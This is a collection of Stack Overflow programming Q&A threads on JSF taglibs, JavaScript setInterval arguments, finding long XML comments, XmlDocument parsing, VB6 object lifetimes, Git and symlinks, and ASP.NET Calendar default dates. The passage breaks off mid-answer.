You could create your own faces tag library to make it less verbose, something like: ``` <ph:i18n key="label.widget.count" p0="#{widgetCount}"/> ``` Then create the taglib in your view dir: /components/ph.taglib.xml ``` <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE facelet-taglib PUBLIC "-//Sun Microsystems, Inc.//DTD Facelet Taglib 1.0//EN" "https://facelets.dev.java.net/source/browse/*checkout*/facelets/src/etc/facelet-taglib_1_0.dtd"> <facelet-taglib xmlns="http://java.sun.com/JSF/Facelet"> <namespace>http://peterhilton.com/core</namespace> <tag> <tag-name>i18n</tag-name> <source>i18n.xhtml</source> </tag> </facelet-taglib> ``` create /components/i18n.xhtml ``` <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <ui:composition xmlns="http://www.w3.org/1999/xhtml" xmlns:ui="http://java.sun.com/jsf/facelets" xmlns:h="http://java.sun.com/jsf/html" xmlns:f="http://java.sun.com/jsf/core"> <h:outputFormat value="#{messages[key]}"> <!-- crude but it works --> <f:param value="#{p0}" /> <f:param value="#{p1}" /> <f:param value="#{p2}" /> <f:param value="#{p3}" /> </h:outputFormat> </ui:composition> ``` You can probably find an elegant way of passing the arguments with a little research. Now register your new taglib in web.xml ``` <context-param> <param-name>facelets.LIBRARIES</param-name> <param-value> /components/ph.taglib.xml </param-value> </context-param> ``` Just add `xmlns:ph="http://peterhilton.com/core"` to your views and you're all set!
86,269
<p>So, I am seeing a curious problem. If I have a function</p> <pre><code>// counter wraps around to beginning eventually, omitted for clarity. var counter; cycleCharts(chartId) { // chartId should be undefined when called from setInterval console.log('chartId: ' + chartId); if(typeof chartId == 'undefined' || chartId &lt; 0) { next = counter++; } else { next = chartId; } // ... do stuff to display the next chart } </code></pre> <p>This function can be called explicitly by user action, in which case <code>chartId</code> is passed in as an argument, and the selected chart is shown; or it can be in autoplay mode, in which case it's called by a <code>setInterval</code> which is initialized by the following:</p> <pre><code>var cycleId = setInterval(cycleCharts, 10000); </code></pre> <p>The odd thing is, I'm actually seeing the <code>cycleCharts()</code> get a <code>chartId</code> argument even when it's called from <code>setInterval</code>! The <code>setInterval</code> doesn't even have any parameters to pass along to the <code>cycleCharts</code> function, so I'm very baffled as to why <code>chartId</code> is not undefined when <code>cycleCharts</code> is called from the <code>setInterval</code>.</p>
[ { "answer_id": 86309, "author": "Kent Fredric", "author_id": 15614, "author_profile": "https://Stackoverflow.com/users/15614", "pm_score": 3, "selected": true, "text": "<p>setInterval is feeding cycleCharts actual timing data ( so one can work out the actual time it ran and use to produce a less stilted response, mostly practical in animation )</p>\n\n<p>you want </p>\n\n<pre><code> var cycleId = setInterval(function(){ cycleCharts(); }, 10000); \n</code></pre>\n\n<p>( this behavior may not be standardized, so don't rely on it too heavily ) </p>\n" }, { "answer_id": 86313, "author": "Per Hornshøj-Schierbeck", "author_id": 11619, "author_profile": "https://Stackoverflow.com/users/11619", "pm_score": 1, "selected": false, "text": "<p>var cycleId = setInterval(cycleCharts, 10000, 4242);</p>\n\n<p>From the third parameter and onwards - they get passed into the function so in my example you send 4242 as the chartId. I know it might not be the answer to the question you posed, but it might the the solution to your problem? I think the value it gets is just random from whatever lies on the stack at the time of passing/calling the method.</p>\n" }, { "answer_id": 86356, "author": "jjrv", "author_id": 16509, "author_profile": "https://Stackoverflow.com/users/16509", "pm_score": 2, "selected": false, "text": "<p>It tells you how many milliseconds late the callback is called.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86269", "https://Stackoverflow.com", "https://Stackoverflow.com/users/13289/" ]
So, I am seeing a curious problem. If I have a function ``` // counter wraps around to beginning eventually, omitted for clarity. var counter; cycleCharts(chartId) { // chartId should be undefined when called from setInterval console.log('chartId: ' + chartId); if(typeof chartId == 'undefined' || chartId < 0) { next = counter++; } else { next = chartId; } // ... do stuff to display the next chart } ``` This function can be called explicitly by user action, in which case `chartId` is passed in as an argument, and the selected chart is shown; or it can be in autoplay mode, in which case it's called by a `setInterval` which is initialized by the following: ``` var cycleId = setInterval(cycleCharts, 10000); ``` The odd thing is, I'm actually seeing the `cycleCharts()` get a `chartId` argument even when it's called from `setInterval`! The `setInterval` doesn't even have any parameters to pass along to the `cycleCharts` function, so I'm very baffled as to why `chartId` is not undefined when `cycleCharts` is called from the `setInterval`.
setInterval is feeding cycleCharts actual timing data ( so one can work out the actual time it ran and use to produce a less stilted response, mostly practical in animation ) you want ``` var cycleId = setInterval(function(){ cycleCharts(); }, 10000); ``` ( this behavior may not be standardized, so don't rely on it too heavily )
86,271
<p>I am attempting to find xml files with large swaths of commented out xml. I would like to programmatically search for xml comments that stretch beyond a given number of lines. Is there an easy way of doing this?</p>
[ { "answer_id": 86332, "author": "Sam", "author_id": 9406, "author_profile": "https://Stackoverflow.com/users/9406", "pm_score": 1, "selected": false, "text": "<p>Considering that XML doesn't use a line based format, you should probably check the number of characters. With a regular expression, you can create a pattern to match the comment prefix and match a minimum number of characters before it matches the first comment suffix.</p>\n\n<p><a href=\"http://www.regular-expressions.info/\" rel=\"nofollow noreferrer\">http://www.regular-expressions.info/</a></p>\n\n<p>Here is the pattern that worked in some preliminary tests:</p>\n\n<pre><code>&lt;!-- (.[^--&gt;]|[\\r\\n][^--&gt;]){5}(.[^--&gt;]|[\\r\\n][^--&gt;])*? --&gt;\n</code></pre>\n\n<p>It will match the starting comment prefix and everything including newline character (on a windows OS) and it's lazy so it will stop at the first comment suffix.</p>\n\n<p>Sorry for the edits, you are correct here is an updated pattern. It's obviously not optimized, but in some tests it seems to resolve the error you pointed out.</p>\n" }, { "answer_id": 86774, "author": "Sam", "author_id": 9406, "author_profile": "https://Stackoverflow.com/users/9406", "pm_score": 0, "selected": false, "text": "<p>I'm using this application to test the regex:</p>\n\n<p><a href=\"http://www.regular-expressions.info/dotnetexample.html\" rel=\"nofollow noreferrer\">http://www.regular-expressions.info/dotnetexample.html</a></p>\n\n<p>I have tested it against some fairly good data and it seems to be pulling out only the commented section.</p>\n" }, { "answer_id": 108475, "author": "Mattio", "author_id": 19626, "author_profile": "https://Stackoverflow.com/users/19626", "pm_score": 1, "selected": false, "text": "<p>I'm not sure about number of lines, but if you can use the length of the string, here's something that would work using XPath.</p>\n\n\n\n<pre class=\"lang-xpath prettyprint-override\"><code>static void Main(string[] args)\n{\n string[] myFiles = { @\"C:\\temp\\XMLFile1.xml\", \n @\"C:\\temp\\XMLFile2.xml\", \n @\"C:\\temp\\XMLFile3.xml\" };\n int maxSize = 5;\n foreach (string file in myFiles)\n {\n System.Xml.XPath.XPathDocument myDoc = \n new System.Xml.XPath.XPathDocument(file);\n System.Xml.XPath.XPathNavigator myNav = \n myDoc.CreateNavigator();\n\n System.Xml.XPath.XPathNodeIterator nodes = myNav.Select(\"//comment()\");\n while (nodes.MoveNext())\n {\n if (nodes.Current.ToString().Length &gt; maxSize)\n Console.WriteLine(file + \": Long comment length = \" + \n nodes.Current.ToString().Length);\n }\n\n\n }\n\n Console.ReadLine();\n}\n</code></pre>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86271", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
I am attempting to find xml files with large swaths of commented out xml. I would like to programmatically search for xml comments that stretch beyond a given number of lines. Is there an easy way of doing this?
Considering that XML doesn't use a line based format, you should probably check the number of characters. With a regular expression, you can create a pattern to match the comment prefix and match a minimum number of characters before it matches the first comment suffix. <http://www.regular-expressions.info/> Here is the pattern that worked in some preliminary tests: ``` <!-- (.[^-->]|[\r\n][^-->]){5}(.[^-->]|[\r\n][^-->])*? --> ``` It will match the starting comment prefix and everything including newline character (on a windows OS) and it's lazy so it will stop at the first comment suffix. Sorry for the edits, you are correct here is an updated pattern. It's obviously not optimized, but in some tests it seems to resolve the error you pointed out.
86,292
<p>I would much prefer to do this without catching an exception in <code>LoadXml()</code> and using this results as part of my logic. Any ideas for a solution that doesn't involve manually parsing the xml myself? I think VB has a return value of false for this function instead of throwing an XmlException. Xml input is provided from the user. Thanks much!</p> <pre><code>if (!loaded) { this.m_xTableStructure = new XmlDocument(); try { this.m_xTableStructure.LoadXml(input); loaded = true; } catch { loaded = false; } } </code></pre>
[ { "answer_id": 86330, "author": "Sunny Milenov", "author_id": 8220, "author_profile": "https://Stackoverflow.com/users/8220", "pm_score": 4, "selected": false, "text": "<p>Using a XmlValidatingReader will prevent the exceptions, if you provide your own ValidationEventHandler.</p>\n" }, { "answer_id": 86341, "author": "Rasmus Faber", "author_id": 5542, "author_profile": "https://Stackoverflow.com/users/5542", "pm_score": 7, "selected": true, "text": "<p>Just catch the exception. The small overhead from catching an exception drowns compared to parsing the XML.</p>\n\n<p>If you want the function (for stylistic reasons, not for performance), implement it yourself:</p>\n\n<pre><code>public class MyXmlDocument: XmlDocument\n{\n bool TryParseXml(string xml){\n try{\n ParseXml(xml);\n return true;\n }catch(XmlException e){\n return false;\n }\n }\n</code></pre>\n" }, { "answer_id": 86368, "author": "Martin Marconcini", "author_id": 2684, "author_profile": "https://Stackoverflow.com/users/2684", "pm_score": 1, "selected": false, "text": "<p>AS already been said, I'd rather catch the exception, but using <a href=\"http://msdn.microsoft.com/en-us/library/system.xml.xmlparsercontext.aspx\" rel=\"nofollow noreferrer\">XmlParserContext</a>, you could try to parse \"manually\" and intercept any anomaly; however, unless you're parsing 100 xml fragments per second, why not catching the exception? </p>\n" }, { "answer_id": 86386, "author": "Martin Marconcini", "author_id": 2684, "author_profile": "https://Stackoverflow.com/users/2684", "pm_score": 2, "selected": false, "text": "<p>If catching is too much for you, then you might want to validate the XML beforehand, using an XML Schema, to make sure that the XML is ok, But that will probably be worse than catching. </p>\n" }, { "answer_id": 1720130, "author": "Dan", "author_id": 4513447, "author_profile": "https://Stackoverflow.com/users/4513447", "pm_score": 3, "selected": false, "text": "<p>I was unable to get XmlValidatingReader &amp; ValidationEventHandler to work. The XmlException is still thrown for incorrectly formed xml. I verified this by viewing the methods with reflector.</p>\n\n<p>I indeed need to validate 100s of short XHTML fragments per second. </p>\n\n<pre><code>public static bool IsValidXhtml(this string text)\n{\n bool errored = false;\n var reader = new XmlValidatingReader(text, XmlNodeType.Element, new XmlParserContext(null, new XmlNamespaceManager(new NameTable()), null, XmlSpace.None));\n reader.ValidationEventHandler += ((sender, e) =&gt; { errored = e.Severity == System.Xml.Schema.XmlSeverityType.Error; });\n\n while (reader.Read()) { ; }\n reader.Close();\n return !errored;\n}\n</code></pre>\n\n<p>XmlParserContext did not work either.</p>\n\n<p>Anyone succeed with a regex?</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86292", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1551/" ]
I would much prefer to do this without catching an exception in `LoadXml()` and using this results as part of my logic. Any ideas for a solution that doesn't involve manually parsing the xml myself? I think VB has a return value of false for this function instead of throwing an XmlException. Xml input is provided from the user. Thanks much! ``` if (!loaded) { this.m_xTableStructure = new XmlDocument(); try { this.m_xTableStructure.LoadXml(input); loaded = true; } catch { loaded = false; } } ```
Just catch the exception. The small overhead from catching an exception drowns compared to parsing the XML. If you want the function (for stylistic reasons, not for performance), implement it yourself: ``` public class MyXmlDocument: XmlDocument { bool TryParseXml(string xml){ try{ ParseXml(xml); return true; }catch(XmlException e){ return false; } } ```
86,365
<p>Suppose I have a class module <code>clsMyClass</code> with an object as a member variable. Listed below are two complete implementations of this very simple class.</p> <p>Implementation 1:</p> <pre><code>Dim oObj As New clsObject </code></pre> <p>Implementation 2:</p> <pre><code>Dim oObj As clsObject Private Sub Class_Initialize() Set oObj = New clsObject End Sub Private Sub Class_Terminate() Set oObj = Nothing End Sub </code></pre> <p>Is there any functional difference between these two? In particular, is the lifetime of <code>oObj</code> the same?</p>
[ { "answer_id": 86390, "author": "Mitchel Sellers", "author_id": 13279, "author_profile": "https://Stackoverflow.com/users/13279", "pm_score": 0, "selected": false, "text": "<p>If in implementation 1 the declaration is inside the class and not a sub, yes the scope is the same for both examples.</p>\n" }, { "answer_id": 86508, "author": "Rick", "author_id": 163155, "author_profile": "https://Stackoverflow.com/users/163155", "pm_score": 0, "selected": false, "text": "<p>The object variable will be destroyed whenever garbage collection determines there are no more references to said object. So in your two examples, assuming the scope of clsObject is the same, there is no difference in when your object will be destroyed.</p>\n" }, { "answer_id": 86525, "author": "Darrel Miller", "author_id": 6819, "author_profile": "https://Stackoverflow.com/users/6819", "pm_score": 4, "selected": true, "text": "<p>In implementation 1 the clsObject will not get instantiated until it is used. If it is never used, then the clsObject.Class_Initialize event will never fire. </p>\n\n<p>In implementation 2, the clsObject instance will be created at the same time that the clsMyClass is instantiated. The clsObject.Class_Initialize will always be executed if clsMyClass is created.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86365", "https://Stackoverflow.com", "https://Stackoverflow.com/users/863/" ]
Suppose I have a class module `clsMyClass` with an object as a member variable. Listed below are two complete implementations of this very simple class. Implementation 1: ``` Dim oObj As New clsObject ``` Implementation 2: ``` Dim oObj As clsObject Private Sub Class_Initialize() Set oObj = New clsObject End Sub Private Sub Class_Terminate() Set oObj = Nothing End Sub ``` Is there any functional difference between these two? In particular, is the lifetime of `oObj` the same?
In implementation 1 the clsObject will not get instantiated until it is used. If it is never used, then the clsObject.Class\_Initialize event will never fire. In implementation 2, the clsObject instance will be created at the same time that the clsMyClass is instantiated. The clsObject.Class\_Initialize will always be executed if clsMyClass is created.
86,402
<p>Is my best be going to be a shell script which replaces symlinks with copies, or is there another way of telling Git to follow symlinks?</p> <p>PS: I know it's not very secure, but I only want to do it in a few specific cases.</p>
[ { "answer_id": 86459, "author": "Kent Fredric", "author_id": 15614, "author_profile": "https://Stackoverflow.com/users/15614", "pm_score": 7, "selected": true, "text": "<p><strong>NOTE:</strong> This advice is now out-dated as per comment since Git 1.6.1. Git used to behave this way, and no longer does.</p>\n\n<hr>\n\n<p>Git by default attempts to store symlinks instead of following them (for compactness, and it's generally what people want).</p>\n\n<p>However, I accidentally managed to get it to add files beyond the symlink when the symlink is a directory.</p>\n\n<p>I.e.:</p>\n\n<pre><code> /foo/\n /foo/baz\n /bar/foo --&gt; /foo\n /bar/foo/baz\n</code></pre>\n\n<p>by doing</p>\n\n<pre><code> git add /bar/foo/baz\n</code></pre>\n\n<p>it appeared to work when I tried it. That behavior was however unwanted by me at the time, so I can't give you information beyond that.</p>\n" }, { "answer_id": 405445, "author": "Erik Schnetter", "author_id": 50744, "author_profile": "https://Stackoverflow.com/users/50744", "pm_score": 4, "selected": false, "text": "<p>I used to add files beyond symlinks for quite some time now. This used to work just fine, without making any special arrangements. Since I updated to Git 1.6.1, this does not work any more.</p>\n\n<p>You may be able to switch to Git 1.6.0 to make this work. I hope that a future version of Git will have a flag to <code>git-add</code> allowing it to follow symlinks again.</p>\n" }, { "answer_id": 1199898, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>I'm using Git 1.5.4.3 and it's following the passed symlink if it has a trailing slash. E.g.</p>\n\n<pre><code># Adds the symlink itself\n$ git add symlink\n\n# Follows symlink and adds the denoted directory's contents\n$ git add symlink/\n</code></pre>\n" }, { "answer_id": 2079380, "author": "user252400", "author_id": 252400, "author_profile": "https://Stackoverflow.com/users/252400", "pm_score": 7, "selected": false, "text": "<p>What I did to add to get the files within a symlink into Git (I didn't use a symlink but):</p>\n<pre><code>sudo mount --bind SOURCEDIRECTORY TARGETDIRECTORY\n</code></pre>\n<p>Do this command in the Git-managed directory. <code>TARGETDIRECTORY</code> has to be created before the <code>SOURCEDIRECTORY</code> is mounted into it.</p>\n<p>It works fine on Linux, but not on OS X! That trick helped me with Subversion too. I use it to include files from an Dropbox account, where a webdesigner does his/her stuff.</p>\n<p>If you want to make this bind permanent add the following line to <code>/etc/fstab</code>:</p>\n<pre><code>/sourcedir /targetdir none bind\n</code></pre>\n" }, { "answer_id": 2292682, "author": "J Chris A", "author_id": 242943, "author_profile": "https://Stackoverflow.com/users/242943", "pm_score": 2, "selected": false, "text": "<p>Hmmm, <code>mount --bind</code> doesn't seem to work on Darwin.</p>\n\n<p>Does anyone have a trick that does?</p>\n\n<p>[edited]</p>\n\n<p>OK, I found the answer on Mac&nbsp;OS&nbsp;X is to make a hardlink. Except that that API is not exposed via <code>ln</code>, so you have to use your own tiny program to do this. Here is a link to that program:</p>\n\n<p><em><a href=\"https://stackoverflow.com/questions/1432540/creating-directory-hard-links-in-macos-x\">Creating directory hard links in Mac OS X</a></em></p>\n\n<p>Enjoy!</p>\n" }, { "answer_id": 5787312, "author": "spier", "author_id": 365712, "author_profile": "https://Stackoverflow.com/users/365712", "pm_score": 6, "selected": false, "text": "<p>Why not create symlinks the other way around? Meaning instead of linking from the Git repository to the application directory, just link the other way around.</p>\n\n<p>For example, let’s say I am setting up an application installed in <code>~/application</code> that needs a configuration file <code>config.conf</code>:</p>\n\n<ul>\n<li>I add <code>config.conf</code> to my Git repository, for example, at <code>~/repos/application/config.conf</code>.</li>\n<li>Then I create a symlink from <code>~/application</code> by running <code>ln -s ~/repos/application/config.conf</code>.</li>\n</ul>\n\n<p>This approach might not always work, but it worked well for me so far.</p>\n" }, { "answer_id": 12029390, "author": "Yurij73", "author_id": 1426846, "author_profile": "https://Stackoverflow.com/users/1426846", "pm_score": 0, "selected": false, "text": "<p>Conversion from symlinks could be useful. Link in a Git folder instead of a symlink <a href=\"http://ryans-bliggity-blog.blogspot.com/2006/10/convert-soft-links-to-hard-links.html\" rel=\"nofollow noreferrer\">by a script</a>.</p>\n" }, { "answer_id": 18692600, "author": "Abbafei", "author_id": 541412, "author_profile": "https://Stackoverflow.com/users/541412", "pm_score": 5, "selected": false, "text": "<p>This is a <a href=\"https://www.kernel.org/pub/software/scm/git/docs/githooks.html\" rel=\"noreferrer\">pre-commit hook</a> which replaces the symlink blobs in the index, with the content of those symlinks.</p>\n\n<p>Put this in <code>.git/hooks/pre-commit</code>, and make it executable:</p>\n\n<pre><code>#!/bin/sh\n# (replace \"find .\" with \"find ./&lt;path&gt;\" below, to work with only specific paths)\n\n# (these lines are really all one line, on multiple lines for clarity)\n# ...find symlinks which do not dereference to directories...\nfind . -type l -exec test '!' -d {} ';' -print -exec sh -c \\\n# ...remove the symlink blob, and add the content diff, to the index/cache\n 'git rm --cached \"$1\"; diff -au /dev/null \"$1\" | git apply --cached -p1 -' \\\n# ...and call out to \"sh\".\n \"process_links_to_nondir\" {} ';'\n\n# the end\n</code></pre>\n\n<h3>Notes</h3>\n\n<p>We use POSIX compliant functionality as much as possible; however, <code>diff -a</code> is not POSIX compliant, possibly among other things.</p>\n\n<p>There may be some mistakes/errors in this code, even though it was tested somewhat.</p>\n" }, { "answer_id": 24275394, "author": "fregante", "author_id": 288906, "author_profile": "https://Stackoverflow.com/users/288906", "pm_score": 6, "selected": false, "text": "<p>Use hard links instead. This differs from a soft (symbolic) link. All programs, including <code>git</code> will treat the file as a regular file. Note that the contents can be modified by changing <em>either</em> the source or the destination.</p>\n<h1>On macOS (before 10.13 High Sierra)</h1>\n<p>If you already have git and Xcode installed, <a href=\"https://stackoverflow.com/a/5118678/288906\">install hardlink</a>. It's a microscopic <a href=\"https://github.com/selkhateeb/hardlink\" rel=\"noreferrer\">tool to create hard links</a>.</p>\n<p>To create the hard link, simply:</p>\n<pre><code>hln source destination\n</code></pre>\n<h3>macOS High Sierra update</h3>\n<blockquote>\n<p>Does Apple File System support directory hard links?</p>\n<p>Directory hard links are not supported by Apple File System. All directory hard links are converted to symbolic links or aliases when you convert from HFS+ to APFS volume formats on macOS.</p>\n<p><em>From <a href=\"https://developer.apple.com/library/content/documentation/FileManagement/Conceptual/APFS_Guide/FAQ/FAQ.html\" rel=\"noreferrer\">APFS FAQ on developer.apple.com</a></em></p>\n</blockquote>\n<p>Follow <a href=\"https://github.com/selkhateeb/hardlink/issues/31\" rel=\"noreferrer\">https://github.com/selkhateeb/hardlink/issues/31</a> for future alternatives.</p>\n<h1>On Linux and other Unix flavors</h1>\n<p>The <code>ln</code> command can make hard links:</p>\n<pre><code>ln source destination\n</code></pre>\n<h1>On Windows (Vista, 7, 8, …)</h1>\n<p>Use <a href=\"http://ss64.com/nt/mklink.html\" rel=\"noreferrer\">mklink</a> to create a junction on Windows:</p>\n<pre><code>mklink /j &quot;source&quot; &quot;destination&quot;\n</code></pre>\n" }, { "answer_id": 28848070, "author": "VonC", "author_id": 6309, "author_profile": "https://Stackoverflow.com/users/6309", "pm_score": 3, "selected": false, "text": "<p>With Git 2.3.2+ (Q1 2015), there is one other case where Git will <em>not</em> follow symlink anymore: see <a href=\"https://github.com/git/git/commit/e0d201b61601e17e24ed00cc3d16e8e25ca68596\">commit e0d201b</a> by <a href=\"https://github.com/gitster\">Junio C Hamano (<code>gitster</code>)</a> (main Git maintainer)</p>\n\n<h3><code>apply</code>: do not touch a file beyond a symbolic link</h3>\n\n<blockquote>\n <p>Because Git tracks symbolic links as symbolic links, a path that has a symbolic link in its leading part (e.g. <code>path/to/dir/file</code>, where <code>path/to/dir</code> is a symbolic link to somewhere else, be it inside or outside the working tree) can never appear in a patch that validly applies, unless the same patch first removes the symbolic link to allow a directory to be created there.</p>\n \n <p>Detect and reject such a patch.</p>\n \n <p>Similarly, when an input creates a symbolic link <code>path/to/dir</code> and then creates a file <code>path/to/dir/file</code>, we need to flag it as an error without actually creating <code>path/to/dir</code> symbolic link in the filesystem.</p>\n \n <p>Instead, for any patch in the input that leaves a path (i.e. a non deletion) in the result, we check all leading paths against the resulting tree that the patch would create by inspecting all the patches in the input and then the target of patch application (either the index or the working tree).</p>\n \n <p>This way, we:</p>\n \n <ul>\n <li>catch a mischief or a mistake to add a symbolic link <code>path/to/dir</code> and a file <code>path/to/dir/file</code> at the same time, </li>\n <li>while allowing a valid patch that removes a symbolic <code>link path/to/dir</code> and then adds a file <code>path/to/dir/file</code>.</li>\n </ul>\n</blockquote>\n\n<p>That means, in that case, the error message won't be a generic one like <code>\"%s: patch does not apply\"</code>, but a more specific one:</p>\n\n<pre><code>affected file '%s' is beyond a symbolic link\n</code></pre>\n" }, { "answer_id": 49138555, "author": "Alcaro", "author_id": 5182731, "author_profile": "https://Stackoverflow.com/users/5182731", "pm_score": 4, "selected": false, "text": "<p>I got tired of every solution in here either being outdated or requiring root, so <a href=\"https://github.com/Alcaro/GitBSLR\" rel=\"noreferrer\">I made an LD_PRELOAD-based solution</a> (Linux only).</p>\n\n<p>It hooks into Git's internals, overriding the 'is this a symlink?' function, allowing symlinks to be treated as their contents. By default, all links to outside the repo are inlined; see the link for details.</p>\n" }, { "answer_id": 54121082, "author": "ijoseph", "author_id": 588437, "author_profile": "https://Stackoverflow.com/users/588437", "pm_score": 4, "selected": false, "text": "<p>On macOS (I have Mojave/ 10.14, <code>git</code> version 2.7.1), use <code>bindfs</code>.</p>\n<p><code>brew install bindfs</code></p>\n<p><code>cd /path/to/git_controlled_dir</code></p>\n<p><code>mkdir local_copy_dir</code></p>\n<p><code>bindfs &lt;/full/path/to/source_dir&gt; &lt;/full/path/to/local_copy_dir&gt;</code></p>\n<p>It's been hinted by other comments, but not clearly provided in other answers. Hopefully this saves someone some time.</p>\n" }, { "answer_id": 63645471, "author": "Tenders McChiken", "author_id": 10126273, "author_profile": "https://Stackoverflow.com/users/10126273", "pm_score": 1, "selected": false, "text": "<p>An alternative implementation of what <a href=\"https://stackoverflow.com/a/2079380/10126273\">@user252400</a> proposes is to use <code>bwrap</code>, a small setuid sandbox that can be found in all major distributions - often installed by default. <code>bwrap</code> allows you to bind mount directories <em>without</em> <code>sudo</code> and automatically unbinds them when git or your shell exits.</p>\n<p>Assuming your development process isn't too crazy (see bellow), start bash in a private namespace and bind the external directory under the git directory:</p>\n<pre><code>bwrap --ro-bind / / \\\n --bind {EXTERNAL-DIR} {MOUNTPOINT-IN-GIT-DIR} \\\n --dev /dev \\\n bash\n</code></pre>\n<p>Then do everything you'd do normally like <code>git add</code>, <code>git commit</code>, and so on. When you're done, just exit bash. Clean and simple.</p>\n<p>Caveats: To prevent sandbox escapes, <code>bwrap</code> is not allowed to execute other setuid binaries. See <code>man bwrap</code> for more details.</p>\n" }, { "answer_id": 67444687, "author": "Prakhar de Anand", "author_id": 15642486, "author_profile": "https://Stackoverflow.com/users/15642486", "pm_score": 1, "selected": false, "text": "<p><strong>1.</strong> You should use hard links as changes made in the hard links are\nstaged by git.</p>\n<p><strong>2.</strong> The syntax for creating a hard link is <strong><code>ln file1 file2</code></strong>.</p>\n<p><strong>3.</strong> Here <strong>file1</strong> is the location of the file whose hard link\nyou want to create and <strong>file2</strong> is the location of the hard link .</p>\n<p><strong>4.</strong> I hope that helps.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86402", "https://Stackoverflow.com", "https://Stackoverflow.com/users/15368/" ]
Is my best be going to be a shell script which replaces symlinks with copies, or is there another way of telling Git to follow symlinks? PS: I know it's not very secure, but I only want to do it in a few specific cases.
**NOTE:** This advice is now out-dated as per comment since Git 1.6.1. Git used to behave this way, and no longer does. --- Git by default attempts to store symlinks instead of following them (for compactness, and it's generally what people want). However, I accidentally managed to get it to add files beyond the symlink when the symlink is a directory. I.e.: ``` /foo/ /foo/baz /bar/foo --> /foo /bar/foo/baz ``` by doing ``` git add /bar/foo/baz ``` it appeared to work when I tried it. That behavior was however unwanted by me at the time, so I can't give you information beyond that.
86,408
<p>Let's say I have an aspx page with this calendar control:</p> <pre><code>&lt;asp:Calendar ID="Calendar1" runat="server" SelectedDate="" &gt;&lt;/asp:Calendar&gt; </code></pre> <p>Is there anything I can put in for SelectedDate to make it use the current date by default, without having to use the code-behind?</p>
[ { "answer_id": 86543, "author": "Philip Rieck", "author_id": 12643, "author_profile": "https://Stackoverflow.com/users/12643", "pm_score": 5, "selected": true, "text": "<p>If you are already doing databinding:</p>\n\n<pre><code>&lt;asp:Calendar ID=\"Calendar1\" runat=\"server\" SelectedDate=\"&lt;%# DateTime.Today %&gt;\" /&gt;\n</code></pre>\n\n<p>Will do it. This does require that somewhere you are doing a Page.DataBind() call (or a databind call on a parent control). If you are not doing that and you absolutely do not want any codebehind on the page, then you'll have to create a usercontrol that contains a calendar control and sets its selecteddate.</p>\n" }, { "answer_id": 165698, "author": "Pascal Paradis", "author_id": 1291, "author_profile": "https://Stackoverflow.com/users/1291", "pm_score": 3, "selected": false, "text": "<p>Two ways of doing it.</p>\n\n<h2><strong>Late binding</strong></h2>\n\n<pre><code>&lt;asp:Calendar ID=\"planning\" runat=\"server\" SelectedDate=\"&lt;%# DateTime.Now %&gt;\"&gt;&lt;/asp:Calendar&gt;\n</code></pre>\n\n<h2>Code behind way (Page_Load solution)</h2>\n\n<pre><code>protected void Page_Load(object sender, EventArgs e)\n{\n BindCalendar();\n}\n\nprivate void BindCalendar()\n{\n planning.SelectedDate = DateTime.Today;\n}\n</code></pre>\n\n<p>Altough, I strongly recommend to do it from a BindMyStuff way. Single entry point easier to debug. But since you seems to know your game, you're all set.</p>\n" }, { "answer_id": 275688, "author": "Kevin", "author_id": 40, "author_profile": "https://Stackoverflow.com/users/40", "pm_score": 4, "selected": false, "text": "<p><strong>DateTime.Now</strong> will not work, use <strong>DateTime.Today</strong> instead.</p>\n" }, { "answer_id": 6856206, "author": "Samer Makary", "author_id": 720343, "author_profile": "https://Stackoverflow.com/users/720343", "pm_score": 3, "selected": false, "text": "<p>I was trying to make the calendar selects a date by default and highlights it for the user.\nHowever, i tried using all the options above but i only managed to set the calendar's selected date.</p>\n\n<pre><code>protected void Page_Load(object sender, EventArgs e)\n Calendar1.SelectedDate = DateTime.Today;\n}\n</code></pre>\n\n<p>the previous code did NOT highlight the selection, although it set the SelectedDate to today.</p>\n\n<p>However, to select and highlight the following code will work properly.</p>\n\n<pre><code>protected void Page_Load(object sender, EventArgs e)\n{\n DateTime today = DateTime.Today;\n Calendar1.TodaysDate = today;\n Calendar1.SelectedDate = Calendar1.TodaysDate;\n}\n</code></pre>\n\n<p>check this link: <a href=\"http://msdn.microsoft.com/en-us/library/8k0f6h1h(v=VS.85).aspx\" rel=\"noreferrer\">http://msdn.microsoft.com/en-us/library/8k0f6h1h(v=VS.85).aspx</a></p>\n" }, { "answer_id": 7047257, "author": "gaz", "author_id": 892575, "author_profile": "https://Stackoverflow.com/users/892575", "pm_score": 0, "selected": false, "text": "<p>I too had the same problem in VWD 2010 and, by chance, I had two controls. One was available in code behind and one wasn't accessible. I thought that the order of statements in the controls was causing the issue. I put 'runat' before 'SelectedDate' and that seemed to fix it. When I put 'runat' after 'SelectedDate' it still worked!\nUnfortunately, I now don't know why it didn't work and haven't got the original that didn't work.</p>\n\n<p>These now all work:-</p>\n\n<pre><code>&lt;asp:Calendar ID=\"calDateFrom\" SelectedDate=\"08/02/2011\" SelectionMode=\"Day\" runat=\"server\"&gt;&lt;/asp:Calendar&gt;\n&lt;asp:Calendar runat=\"server\" SelectionMode=\"Day\" SelectedDate=\"08/15/2011 12:00:00 AM\" ID=\"Calendar1\" VisibleDate=\"08/03/2011 12:00:00 AM\"&gt;&lt;/asp:Calendar&gt;\n&lt;asp:Calendar SelectionMode=\"Day\" SelectedDate=\"08/31/2011 12:00:00 AM\" runat=\"server\" ID=\"calDateTo\"&gt;&lt;/asp:Calendar&gt;\n</code></pre>\n" }, { "answer_id": 8422671, "author": "David.Chu.ca", "author_id": 62776, "author_profile": "https://Stackoverflow.com/users/62776", "pm_score": 0, "selected": false, "text": "<p>Actually, I cannot get selected date in aspx. Here is the way to set selected date in codes:</p>\n\n<pre><code>protected void Page_Load(object sender, EventArgs e)\n{\n if (!Page.IsPostBack)\n {\n DateTime dt = 